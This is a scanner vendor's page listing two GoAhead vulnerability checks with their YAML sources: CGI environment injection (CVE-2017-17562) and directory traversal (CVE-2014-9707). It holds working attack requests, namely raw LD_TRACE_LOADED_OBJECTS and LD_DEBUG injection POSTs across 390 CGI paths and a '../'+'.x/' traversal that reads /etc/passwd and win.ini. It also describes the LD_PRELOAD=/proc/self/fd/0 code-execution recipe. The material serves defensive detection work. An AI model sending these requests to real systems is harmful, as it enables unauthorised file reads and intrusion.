GoAhead — 2 vulnerability checks

noctis ships 2 vulnerability checks for GoAhead, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Embedthis GoAhead CGI LD_PRELOAD Environment Injection RCE

CVECVE-2017-17562
Severityhigh · CVSS 8.1
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, script, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/goahead/CVE-2017-17562.yaml

Embedthis GoAhead before 3.6.5, with CGI enabled and a dynamically linked CGI program, initialises the CGI environment from untrusted request parameters. Injecting LD_PRELOAD (e.g. `/proc/self/fd/0` with a shared object as the POST body) runs attacker code. This feed injects `LD_TRACE_LOADED_OBJECTS=1` then `LD_DEBUG=help` and confirms the CGI's dynamic linker acted on them (library list / LD_DEBUG help in the response). No code is executed and nothing is written.

How noctis detects it

  1. HTTP(S) request GET /
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: POST {{cgi}}?LD_TRACE_LOADED_OBJECTS=1 HTTP/1.0, for each of 390 values
  4. Checks trace.banner for (?s)^HTTP/1\.[01] 200 .*=> \S+ \(0x[0-9a-fA-F]+\)
  5. Raw TCP (TLS on HTTPS), sent verbatim: POST {{cgi}}?LD_DEBUG=help HTTP/1.0
  6. Checks dbg.banner for (?si)^HTTP/1\.[01] 200 .*(valid options for the ld_debug environment … → finding QoD 75: GoAhead CGI environment injection — dynamic linker driven by request parameters (CVE-2017-17562)
  7. Checks trace.banner for (?s)^HTTP/1\.[01] 200 .*=> \S+ \(0x[0-9a-fA-F]+\) → finding QoD 75: GoAhead CGI environment injection — dynamic linker driven by request parameters (CVE-2017-17562)

References:

Feed source — tests/vulnerabilities/goahead/CVE-2017-17562.yaml
# Embedthis GoAhead CGI environment injection (LD_PRELOAD) RCE — CVE-2017-17562
#
# Ported from OpenVAS/Greenbone NVT `2017/gb_goahead_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.140609, GPL-2.0-only), itself built on Metasploit
# `exploits/linux/http/goahead_ldpreload`. Same request shape (POST with an
# empty body), same candidate list (dirs `/`, `/cgi-bin/`, `/cgi/` x the 65
# Metasploit endpoint names x ext "" / ".cgi", walked in the NASL order) and
# the NASL's `?LD_DEBUG=help` check with its exact match strings; see
# "Improvements over the NASL" below for the extra probe.
#
# GoAhead < 3.6.5 copies every request parameter into the environment of the
# forked CGI program (cgiHandler, cgi.c). For a dynamically linked CGI, the
# dynamic linker honours the injected `LD_*` variables before main() runs:
# `LD_PRELOAD=/proc/self/fd/0` loads the POSTed body as a shared object = RCE.
#
# Gate (as the NASL's `get_app_location(cpe: GoAhead)`): the 390 probes only
# run when GET / identifies GoAhead (`Server: GoAhead-*`, a GoAhead auth realm
# or page), so other web servers cost one request.
#
# Proof (benign, Flo's rule: no code runs, nothing is written). Two injected
# variables, each makes the CGI's dynamic linker print to STDOUT (which GoAhead
# returns in the response) and exit before the CGI's main():
#   1. `?LD_TRACE_LOADED_OBJECTS=1` (loop, every candidate): ld.so lists the
#      CGI's shared libraries (`libc.so.6 => /lib/libc.so.6 (0x7f...)`). Text
#      only a dynamic linker produces, never present in the request, so a page
#      echoing the URL can't match. glibc AND uClibc support it.
#   2. On the hit path, the NASL's `?LD_DEBUG=help`: glibc ld.so prints its
#      LD_DEBUG help (uClibc ignores it).
#   Both → confidence 0.95; 1 alone (uClibc devices) → 0.85. QoD 75: response
#   analysis, no code executed.
#
# Improvements over the NASL (Flo: do better than OpenVAS when possible):
#   - LD_TRACE_LOADED_OBJECTS as the loop probe: the NASL's LD_DEBUG=help only
#     works with glibc, while most GoAhead devices are uClibc-based embedded
#     firmware → false negatives there.
#   - Raw HTTP/1.0 over `tcp_connect`, matched on the full reply like the
#     NASL's `http_keepalive_send_recv`: GoAhead writes the CGI's stdout right
#     after its own headers, so the linker's first output line lands in the
#     header block. An HTTP client rejects that malformed header and the probe
#     would silently fail.
#   - A second, independent ld.so behaviour on the same path before the
#     highest-confidence verdict.
#
# Not used: LD_PRELOAD with a random name. glibc reports the missing preload
# on stderr, which GoAhead does not capture (launchCgi only redirects stdin and
# stdout), so the error never reaches the response.
#
# Not shipped: the real RCE (POST a native .so via `/proc/self/fd/0` that
# calls back to {{oob_url}}). It needs a hand-built ELF per target CPU/ABI
# (GoAhead mostly runs on MIPS/ARM embedded devices) and runs native code in
# the device's web server; the probes above already show the injected
# variables drive the CGI's dynamic linker, the step LD_PRELOAD relies on.
uid: 0d40f28e-fdff-4aae-8bca-0ee8af031b5e
name: "Embedthis GoAhead CGI LD_PRELOAD Environment Injection RCE (CVE-2017-17562)"
description: |
  Embedthis GoAhead before 3.6.5, with CGI enabled and a dynamically linked CGI
  program, initialises the CGI environment from untrusted request parameters.
  Injecting LD_PRELOAD (e.g. `/proc/self/fd/0` with a shared object as the
  POST body) runs attacker code. This feed injects `LD_TRACE_LOADED_OBJECTS=1`
  then `LD_DEBUG=help` and confirms the CGI's dynamic linker acted on them
  (library list / LD_DEBUG help in the response). No code is executed and
  nothing is written.
cves: [CVE-2017-17562]
cvss: 8.1
severity: high
category: rce
confidence_base: 0.25
tags: [goahead, embedthis, cgi, ld-preload, env-injection, rce, intrusive, cisa-kev, embedded]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-17562"
  - "https://www.elttam.com/blog/goahead/"
  - "https://github.com/embedthis/goahead/commit/6f786c123196eb622625a920d54048629a7caa74"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/goahead_ldpreload.rb"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-17562.yaml"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

steps:
  # ── Gate: is this GoAhead? (no finding) ───────────────────────────────────
  - id: fingerprint
    action: http_request
    method: GET
    path: "/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: root

  # `root` is undefined when GET / failed → condition false → `gate` stays
  # undefined and every guarded step below is skipped.
  - id: gate
    action: script
    condition: "root.status > 0"
    store_as: gate
    code: |
      let server = if "server" in root.headers { root.headers["server"] } else { "" };
      let realm = if "www-authenticate" in root.headers { root.headers["www-authenticate"] } else { "" };
      ereg("goahead", server, true) || ereg("goahead", realm, true) || ereg("goahead", root.body, true)

  # ── 1. LD_TRACE_LOADED_OBJECTS=1 on every candidate CGI ───────────────────
  # NASL request shape (POST, empty body), raw so the linker output that lands
  # in the header block is kept. The loop groups the four steps below;
  # `stop: true` ends the test at the first confirmed path.
  - id: probe
    action: tcp_connect
    condition: "gate == true"
    port: "{{port}}"
    timeout_secs: 8
    send: "POST {{cgi}}?LD_TRACE_LOADED_OBJECTS=1 HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n"
    store_as: trace
    loop:
      var: cgi
      over:
        - /admin
        - /admin.cgi
        - /apply
        - /apply.cgi
        - /non-CA-rev
        - /non-CA-rev.cgi
        - /checkCookie
        - /checkCookie.cgi
        - /check_user
        - /check_user.cgi
        - /chn/liveView
        - /chn/liveView.cgi
        - /cht/liveView
        - /cht/liveView.cgi
        - /cnswebserver
        - /cnswebserver.cgi
        - /config
        - /config.cgi
        - /configure/set_link_neg
        - /configure/set_link_neg.cgi
        - /configure/swports_adjust
        - /configure/swports_adjust.cgi
        - /eng/liveView
        - /eng/liveView.cgi
        - /firmware
        - /firmware.cgi
        - /getCheckCode
        - /getCheckCode.cgi
        - /get_status
        - /get_status.cgi
        - /getmac
        - /getmac.cgi
        - /getparam
        - /getparam.cgi
        - /guest/Login
        - /guest/Login.cgi
        - /home
        - /home.cgi
        - /htmlmgr
        - /htmlmgr.cgi
        - /index
        - /index.cgi
        - /index/login
        - /index/login.cgi
        - /jscript
        - /jscript.cgi
        - /kvm
        - /kvm.cgi
        - /liveView
        - /liveView.cgi
        - /login
        - /login.cgi
        - /login.asp
        - /login.asp.cgi
        - /login/login
        - /login/login.cgi
        - /login/login-page
        - /login/login-page.cgi
        - /login_mgr
        - /login_mgr.cgi
        - /luci
        - /luci.cgi
        - /main
        - /main.cgi
        - /main-cgi
        - /main-cgi.cgi
        - /manage/login
        - /manage/login.cgi
        - /menu
        - /menu.cgi
        - /mlogin
        - /mlogin.cgi
        - /netbinary
        - /netbinary.cgi
        - /nobody/Captcha
        - /nobody/Captcha.cgi
        - /nobody/VerifyCode
        - /nobody/VerifyCode.cgi
        - /normal_userLogin
        - /normal_userLogin.cgi
        - /otgw
        - /otgw.cgi
        - /page
        - /page.cgi
        - /rulectl
        - /rulectl.cgi
        - /service
        - /service.cgi
        - /set_new_config
        - /set_new_config.cgi
        - /sl_webviewer
        - /sl_webviewer.cgi
        - /ssi
        - /ssi.cgi
        - /status
        - /status.cgi
        - /sysconf
        - /sysconf.cgi
        - /systemutil
        - /systemutil.cgi
        - /t/out
        - /t/out.cgi
        - /top
        - /top.cgi
        - /unauth
        - /unauth.cgi
        - /upload
        - /upload.cgi
        - /variable
        - /variable.cgi
        - /wanstatu
        - /wanstatu.cgi
        - /webcm
        - /webcm.cgi
        - /webmain
        - /webmain.cgi
        - /webproc
        - /webproc.cgi
        - /webscr
        - /webscr.cgi
        - /webviewLogin
        - /webviewLogin.cgi
        - /webviewLogin_m64
        - /webviewLogin_m64.cgi
        - /webviewer
        - /webviewer.cgi
        - /welcome
        - /welcome.cgi
        - /cgitest
        - /cgitest.cgi
        - /cgi-bin/admin
        - /cgi-bin/admin.cgi
        - /cgi-bin/apply
        - /cgi-bin/apply.cgi
        - /cgi-bin/non-CA-rev
        - /cgi-bin/non-CA-rev.cgi
        - /cgi-bin/checkCookie
        - /cgi-bin/checkCookie.cgi
        - /cgi-bin/check_user
        - /cgi-bin/check_user.cgi
        - /cgi-bin/chn/liveView
        - /cgi-bin/chn/liveView.cgi
        - /cgi-bin/cht/liveView
        - /cgi-bin/cht/liveView.cgi
        - /cgi-bin/cnswebserver
        - /cgi-bin/cnswebserver.cgi
        - /cgi-bin/config
        - /cgi-bin/config.cgi
        - /cgi-bin/configure/set_link_neg
        - /cgi-bin/configure/set_link_neg.cgi
        - /cgi-bin/configure/swports_adjust
        - /cgi-bin/configure/swports_adjust.cgi
        - /cgi-bin/eng/liveView
        - /cgi-bin/eng/liveView.cgi
        - /cgi-bin/firmware
        - /cgi-bin/firmware.cgi
        - /cgi-bin/getCheckCode
        - /cgi-bin/getCheckCode.cgi
        - /cgi-bin/get_status
        - /cgi-bin/get_status.cgi
        - /cgi-bin/getmac
        - /cgi-bin/getmac.cgi
        - /cgi-bin/getparam
        - /cgi-bin/getparam.cgi
        - /cgi-bin/guest/Login
        - /cgi-bin/guest/Login.cgi
        - /cgi-bin/home
        - /cgi-bin/home.cgi
        - /cgi-bin/htmlmgr
        - /cgi-bin/htmlmgr.cgi
        - /cgi-bin/index
        - /cgi-bin/index.cgi
        - /cgi-bin/index/login
        - /cgi-bin/index/login.cgi
        - /cgi-bin/jscript
        - /cgi-bin/jscript.cgi
        - /cgi-bin/kvm
        - /cgi-bin/kvm.cgi
        - /cgi-bin/liveView
        - /cgi-bin/liveView.cgi
        - /cgi-bin/login
        - /cgi-bin/login.cgi
        - /cgi-bin/login.asp
        - /cgi-bin/login.asp.cgi
        - /cgi-bin/login/login
        - /cgi-bin/login/login.cgi
        - /cgi-bin/login/login-page
        - /cgi-bin/login/login-page.cgi
        - /cgi-bin/login_mgr
        - /cgi-bin/login_mgr.cgi
        - /cgi-bin/luci
        - /cgi-bin/luci.cgi
        - /cgi-bin/main
        - /cgi-bin/main.cgi
        - /cgi-bin/main-cgi
        - /cgi-bin/main-cgi.cgi
        - /cgi-bin/manage/login
        - /cgi-bin/manage/login.cgi
        - /cgi-bin/menu
        - /cgi-bin/menu.cgi
        - /cgi-bin/mlogin
        - /cgi-bin/mlogin.cgi
        - /cgi-bin/netbinary
        - /cgi-bin/netbinary.cgi
        - /cgi-bin/nobody/Captcha
        - /cgi-bin/nobody/Captcha.cgi
        - /cgi-bin/nobody/VerifyCode
        - /cgi-bin/nobody/VerifyCode.cgi
        - /cgi-bin/normal_userLogin
        - /cgi-bin/normal_userLogin.cgi
        - /cgi-bin/otgw
        - /cgi-bin/otgw.cgi
        - /cgi-bin/page
        - /cgi-bin/page.cgi
        - /cgi-bin/rulectl
        - /cgi-bin/rulectl.cgi
        - /cgi-bin/service
        - /cgi-bin/service.cgi
        - /cgi-bin/set_new_config
        - /cgi-bin/set_new_config.cgi
        - /cgi-bin/sl_webviewer
        - /cgi-bin/sl_webviewer.cgi
        - /cgi-bin/ssi
        - /cgi-bin/ssi.cgi
        - /cgi-bin/status
        - /cgi-bin/status.cgi
        - /cgi-bin/sysconf
        - /cgi-bin/sysconf.cgi
        - /cgi-bin/systemutil
        - /cgi-bin/systemutil.cgi
        - /cgi-bin/t/out
        - /cgi-bin/t/out.cgi
        - /cgi-bin/top
        - /cgi-bin/top.cgi
        - /cgi-bin/unauth
        - /cgi-bin/unauth.cgi
        - /cgi-bin/upload
        - /cgi-bin/upload.cgi
        - /cgi-bin/variable
        - /cgi-bin/variable.cgi
        - /cgi-bin/wanstatu
        - /cgi-bin/wanstatu.cgi
        - /cgi-bin/webcm
        - /cgi-bin/webcm.cgi
        - /cgi-bin/webmain
        - /cgi-bin/webmain.cgi
        - /cgi-bin/webproc
        - /cgi-bin/webproc.cgi
        - /cgi-bin/webscr
        - /cgi-bin/webscr.cgi
        - /cgi-bin/webviewLogin
        - /cgi-bin/webviewLogin.cgi
        - /cgi-bin/webviewLogin_m64
        - /cgi-bin/webviewLogin_m64.cgi
        - /cgi-bin/webviewer
        - /cgi-bin/webviewer.cgi
        - /cgi-bin/welcome
        - /cgi-bin/welcome.cgi
        - /cgi-bin/cgitest
        - /cgi-bin/cgitest.cgi
        - /cgi/admin
        - /cgi/admin.cgi
        - /cgi/apply
        - /cgi/apply.cgi
        - /cgi/non-CA-rev
        - /cgi/non-CA-rev.cgi
        - /cgi/checkCookie
        - /cgi/checkCookie.cgi
        - /cgi/check_user
        - /cgi/check_user.cgi
        - /cgi/chn/liveView
        - /cgi/chn/liveView.cgi
        - /cgi/cht/liveView
        - /cgi/cht/liveView.cgi
        - /cgi/cnswebserver
        - /cgi/cnswebserver.cgi
        - /cgi/config
        - /cgi/config.cgi
        - /cgi/configure/set_link_neg
        - /cgi/configure/set_link_neg.cgi
        - /cgi/configure/swports_adjust
        - /cgi/configure/swports_adjust.cgi
        - /cgi/eng/liveView
        - /cgi/eng/liveView.cgi
        - /cgi/firmware
        - /cgi/firmware.cgi
        - /cgi/getCheckCode
        - /cgi/getCheckCode.cgi
        - /cgi/get_status
        - /cgi/get_status.cgi
        - /cgi/getmac
        - /cgi/getmac.cgi
        - /cgi/getparam
        - /cgi/getparam.cgi
        - /cgi/guest/Login
        - /cgi/guest/Login.cgi
        - /cgi/home
        - /cgi/home.cgi
        - /cgi/htmlmgr
        - /cgi/htmlmgr.cgi
        - /cgi/index
        - /cgi/index.cgi
        - /cgi/index/login
        - /cgi/index/login.cgi
        - /cgi/jscript
        - /cgi/jscript.cgi
        - /cgi/kvm
        - /cgi/kvm.cgi
        - /cgi/liveView
        - /cgi/liveView.cgi
        - /cgi/login
        - /cgi/login.cgi
        - /cgi/login.asp
        - /cgi/login.asp.cgi
        - /cgi/login/login
        - /cgi/login/login.cgi
        - /cgi/login/login-page
        - /cgi/login/login-page.cgi
        - /cgi/login_mgr
        - /cgi/login_mgr.cgi
        - /cgi/luci
        - /cgi/luci.cgi
        - /cgi/main
        - /cgi/main.cgi
        - /cgi/main-cgi
        - /cgi/main-cgi.cgi
        - /cgi/manage/login
        - /cgi/manage/login.cgi
        - /cgi/menu
        - /cgi/menu.cgi
        - /cgi/mlogin
        - /cgi/mlogin.cgi
        - /cgi/netbinary
        - /cgi/netbinary.cgi
        - /cgi/nobody/Captcha
        - /cgi/nobody/Captcha.cgi
        - /cgi/nobody/VerifyCode
        - /cgi/nobody/VerifyCode.cgi
        - /cgi/normal_userLogin
        - /cgi/normal_userLogin.cgi
        - /cgi/otgw
        - /cgi/otgw.cgi
        - /cgi/page
        - /cgi/page.cgi
        - /cgi/rulectl
        - /cgi/rulectl.cgi
        - /cgi/service
        - /cgi/service.cgi
        - /cgi/set_new_config
        - /cgi/set_new_config.cgi
        - /cgi/sl_webviewer
        - /cgi/sl_webviewer.cgi
        - /cgi/ssi
        - /cgi/ssi.cgi
        - /cgi/status
        - /cgi/status.cgi
        - /cgi/sysconf
        - /cgi/sysconf.cgi
        - /cgi/systemutil
        - /cgi/systemutil.cgi
        - /cgi/t/out
        - /cgi/t/out.cgi
        - /cgi/top
        - /cgi/top.cgi
        - /cgi/unauth
        - /cgi/unauth.cgi
        - /cgi/upload
        - /cgi/upload.cgi
        - /cgi/variable
        - /cgi/variable.cgi
        - /cgi/wanstatu
        - /cgi/wanstatu.cgi
        - /cgi/webcm
        - /cgi/webcm.cgi
        - /cgi/webmain
        - /cgi/webmain.cgi
        - /cgi/webproc
        - /cgi/webproc.cgi
        - /cgi/webscr
        - /cgi/webscr.cgi
        - /cgi/webviewLogin
        - /cgi/webviewLogin.cgi
        - /cgi/webviewLogin_m64
        - /cgi/webviewLogin_m64.cgi
        - /cgi/webviewer
        - /cgi/webviewer.cgi
        - /cgi/welcome
        - /cgi/welcome.cgi
        - /cgi/cgitest
        - /cgi/cgitest.cgi

  # `<lib> => <path> (0x<addr>)` — glibc and uClibc ld.so trace format.
  - id: trace-match
    action: match
    condition: "gate == true && trace.connected == true"
    source: trace.banner
    pattern: "(?s)^HTTP/1\\.[01] 200 .*=> \\S+ \\(0x[0-9a-fA-F]+\\)"
    on_match:
      set_vars:
        traced: true

  # ── 2. NASL probe on the same CGI: LD_DEBUG=help (glibc) ──────────────────
  - id: debug-probe
    action: tcp_connect
    condition: "traced == true"
    port: "{{port}}"
    timeout_secs: 8
    send: "POST {{cgi}}?LD_DEBUG=help HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\n\r\n"
    store_as: dbg

  # NASL strings, matched on the whole reply like the NASL.
  - id: debug-confirm
    action: match
    condition: "traced == true && dbg.connected == true"
    source: dbg.banner
    pattern: "(?si)^HTTP/1\\.[01] 200 .*(valid options for the ld_debug environment variable are:| LD_DEBUG_OUTPUT )"
    on_match:
      finding:
        title: "GoAhead CGI environment injection — dynamic linker driven by request parameters (CVE-2017-17562)"
        description: "GoAhead copied request parameters into the environment of the CGI program {{cgi}}: its dynamic linker listed the CGI's libraries for `?LD_TRACE_LOADED_OBJECTS=1` and printed its LD_DEBUG help for `?LD_DEBUG=help`. With `?LD_PRELOAD=/proc/self/fd/0` and a shared object as the POST body, the same injection executes code."
        remediation: "Upgrade Embedthis GoAhead to 3.6.5 or later, or disable CGI / use statically linked CGI programs."
        confidence_delta: 0.70
        qod: 75
        evidence: "POST {{cgi}}?LD_TRACE_LOADED_OBJECTS=1 → ld.so library list; POST {{cgi}}?LD_DEBUG=help → ld.so LD_DEBUG help (HTTP 200)"
      stop: true

  # Trace alone (uClibc ld.so ignores LD_DEBUG=help).
  - id: trace-confirm
    action: match
    condition: "traced == true"
    source: trace.banner
    pattern: "(?s)^HTTP/1\\.[01] 200 .*=> \\S+ \\(0x[0-9a-fA-F]+\\)"
    on_match:
      finding:
        title: "GoAhead CGI environment injection — dynamic linker driven by request parameters (CVE-2017-17562)"
        description: "GoAhead copied the request parameter LD_TRACE_LOADED_OBJECTS=1 into the environment of the CGI program {{cgi}} and its dynamic linker listed the CGI's shared libraries instead of running it. With `?LD_PRELOAD=/proc/self/fd/0` and a shared object as the POST body, the same injection executes code."
        remediation: "Upgrade Embedthis GoAhead to 3.6.5 or later, or disable CGI / use statically linked CGI programs."
        confidence_delta: 0.60
        qod: 75
        evidence: "POST {{cgi}}?LD_TRACE_LOADED_OBJECTS=1 → HTTP 200 with the ld.so loaded-library list"
      stop: true

Embedthis GoAhead websNormalizeUriPath Directory Traversal

CVECVE-2014-9707
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/goahead/CVE-2014-9707.yaml

Tests Embedthis GoAhead 3.x before 3.4.2 for the directory traversal in its URI normalisation (websNormalizeUriPath). The feed only runs against a web server whose reply to GET / carries a GoAhead Server header. It then requests /etc/passwd (and, for Windows targets, windows/win.ini and boot.ini) through five "../" segments followed by six ".x/" segments placed directly in the URL path, without any login, and sent verbatim so the segments reach the server. A root (uid 0) passwd line or an INI file section in the reply confirms that files outside the web root can be read. A control request for an absent random file must answer without any file signature, so a server that returns the same content on every request is not reported. Only world-readable files are read, and the password field of the passwd line is redacted from the evidence.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  2. Checks root_r.banner for (?mi)^Server:[ \t]*GoAhead
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /../../../../../.x/.x/.x/.x/.x/.x/etc/passwd HTTP/1.0
  4. Checks pw_r.banner for (?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\r\n]*:0:([01]):[^:\r\n]*:([^:\r\n]*)…
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /../../../../../.x/.x/.x/.x/.x/.x/windows/win.ini HTTP/1.0
  7. Checks win_r.banner for (?mi)^\[(fonts|extensions|mci extensions|files)\]
  8. Raw TCP (TLS on HTTPS), sent verbatim: GET /../../../../../.x/.x/.x/.x/.x/.x/{{hit_file}}.noctis-absent-{{oob_token}} HTTP/1.0
  9. Checks ctrl_r.banner for (?mi)((?:^|>)[A-Za-z0-9_.-]+:[^:\r\n]*:0:[01]:|^\[(fonts|extensions|m…
  10. Checks proof for ^(root|<redacted>):<redacted>:0:[01]:|^win\.ini section header$ → finding QoD 75: Embedthis GoAhead Directory Traversal (CVE-2014-9707)

References:

Feed source — tests/vulnerabilities/goahead/CVE-2014-9707.yaml
# Embedthis GoAhead websNormalizeUriPath directory traversal — CVE-2014-9707
#
# GoAhead 3.x before 3.4.2 mis-normalises the request path in
# websNormalizeUriPath (http.c): "../" segments mixed with ".x/" segments are not
# resolved against the document root, so GET /../../../../../.x/.x/.x/.x/.x/.x/etc/passwd
# returns a file outside the web root without any login.
#
# Detection (benign, read-only):
#   1. GET / — the reply must be a GoAhead server (Server header); the traversal
#      shape is generic, so the CVE is only attributed to GoAhead.
#   2. The traversal request sent verbatim through tcp_connect (an HTTP client
#      would resolve the "../" before sending) for /etc/passwd, then for
#      windows/win.ini and boot.ini on Windows targets.
#   3. Control: the same traversal for an absent random file must answer without
#      any file signature (fail-closed: no control reply → no finding).
# Only the world-readable passwd / win.ini / boot.ini are read; the passwd hash
# is redacted before it reaches the finding. QoD 75 (response analysis).
#
# Improvements over the source check:
#   - GoAhead gate and absent-file control, so a server answering the same file
#     for every request (honeypot) is not reported;
#   - any uid-0 account counts and the password hash never reaches the evidence.
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_goahead_webserver_mult_vuln_apr15.nasl
# (GPL-2.0-only).
uid: 5fc57b54-b81a-4bb7-801b-df8a61a3869a
name: "Embedthis GoAhead websNormalizeUriPath Directory Traversal (CVE-2014-9707)"
description: |
  Tests Embedthis GoAhead 3.x before 3.4.2 for the directory traversal in its
  URI normalisation (websNormalizeUriPath). The feed only runs against a web
  server whose reply to GET / carries a GoAhead Server header. It then requests
  /etc/passwd (and, for Windows targets, windows/win.ini and boot.ini) through
  five "../" segments followed by six ".x/" segments placed directly in the URL
  path, without any login, and sent verbatim so the segments reach the server.
  A root (uid 0) passwd line or an INI file section in the reply confirms that
  files outside the web root can be read. A control request for an absent random
  file must answer without any file signature, so a server that returns the same
  content on every request is not reported. Only world-readable files are read,
  and the password field of the passwd line is redacted from the evidence.
cves: [CVE-2014-9707]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [goahead, embedthis, embedded, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9707"
  - "https://github.com/embedthis/goahead/issues/106"
  # OpenVAS/Greenbone NASL 2015/gb_goahead_webserver_mult_vuln_apr15.nasl (GPL-2.0-only)

steps:
  - id: init-root-r
    action: set_var
    var_name: root_r
    var_value: {connected: false, banner: ""}

  - id: init-gate-m
    action: set_var
    var_name: gate_m
    var_value: {matched: false, captures: []}

  - id: init-pw-r
    action: set_var
    var_name: pw_r
    var_value: {connected: false, banner: ""}

  - id: init-pw-m
    action: set_var
    var_name: pw_m
    var_value: {matched: false, captures: []}

  - id: init-win-r
    action: set_var
    var_name: win_r
    var_value: {connected: false, banner: ""}

  - id: init-win-m
    action: set_var
    var_name: win_m
    var_value: {matched: false, captures: []}

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Gate: the web server must be GoAhead ──────────────────────────────────
  - id: root-page
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: root_r

  - id: server-header
    action: match
    source: root_r.banner
    pattern: "(?mi)^Server:[ \\t]*GoAhead"
    condition: 'root_r.connected == true && type_of(root_r.banner) == "string"'
    store_as: gate_m

  # ── Linux: /etc/passwd ────────────────────────────────────────────────────
  - id: read-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET /../../../../../.x/.x/.x/.x/.x/.x/etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: "gate_m.matched == true"
    store_as: pw_r

  # No on_match: the raw reply (password hash) must not become evidence.
  - id: passwd-content
    action: match
    source: pw_r.banner
    pattern: "(?m)(?:^|>)([A-Za-z0-9_.-]+):[^:\\r\\n]*:0:([01]):[^:\\r\\n]*:([^:\\r\\n]*):([^:\\r\\n<]*)"
    condition: 'gate_m.matched == true && pw_r.connected == true && type_of(pw_r.banner) == "string"'
    store_as: pw_m

  - id: passwd-redact
    action: script
    code: |
      if pw_m.matched && pw_m.captures.len() > 3 {
        if pw_m.captures[0] == "root" {
          "root:<redacted>:0:" + pw_m.captures[1] + ":<redacted>:" + pw_m.captures[2] + ":" + pw_m.captures[3]
        } else {
          "<redacted>:<redacted>:0:" + pw_m.captures[1] + ":<redacted>:<redacted>:" + pw_m.captures[3]
        }
      } else { "" }
    store_as: proof

  - id: passwd-file
    action: set_var
    var_name: hit_file
    var_value: "etc/passwd"
    condition: 'proof != ""'

  # ── Windows: windows/win.ini ──────────────────────────────────────────────
  - id: read-winini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /../../../../../.x/.x/.x/.x/.x/.x/windows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'gate_m.matched == true && proof == ""'
    store_as: win_r

  - id: winini-content
    action: match
    source: win_r.banner
    pattern: "(?mi)^\\[(fonts|extensions|mci extensions|files)\\]"
    condition: 'gate_m.matched == true && proof == "" && win_r.connected == true && type_of(win_r.banner) == "string"'
    on_match:
      set_vars:
        proof: "win.ini section header"
        hit_file: "windows/win.ini"

  # ── Control: same traversal shape, absent file ────────────────────────────
  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET /../../../../../.x/.x/.x/.x/.x/.x/{{hit_file}}.noctis-absent-{{oob_token}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'proof != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(?mi)((?:^|>)[A-Za-z0-9_.-]+:[^:\\r\\n]*:0:[01]:|^\\[(fonts|extensions|mci extensions|files)\\])"
    condition: 'proof != "" && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string"'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Finding (control answered and stayed clean) ───────────────────────────
  - id: report
    action: match
    source: proof
    pattern: "^(root|<redacted>):<redacted>:0:[01]:|^win\\.ini section header$"
    condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
    on_match:
      finding:
        title: "Embedthis GoAhead Directory Traversal (CVE-2014-9707)"
        description: "An unauthenticated GET request with \"../\" and \".x/\" segments in the URL path to a GoAhead web server returned the content of a file outside the web root, while the same request for an absent file did not. Any file readable by the web server process can be read this way."
        remediation: "Update Embedthis GoAhead to 3.4.2 or later (or the device firmware that embeds it), and restrict access to the management web interface to trusted networks."
        confidence_delta: 0.50
        qod: 75
        evidence: "Traversal GET /../(x5).x/(x6){{hit_file}} on a GoAhead server returned the file; control for an absent file returned no file signature ({{proof}})"
      stop: true

View these feeds on GitHub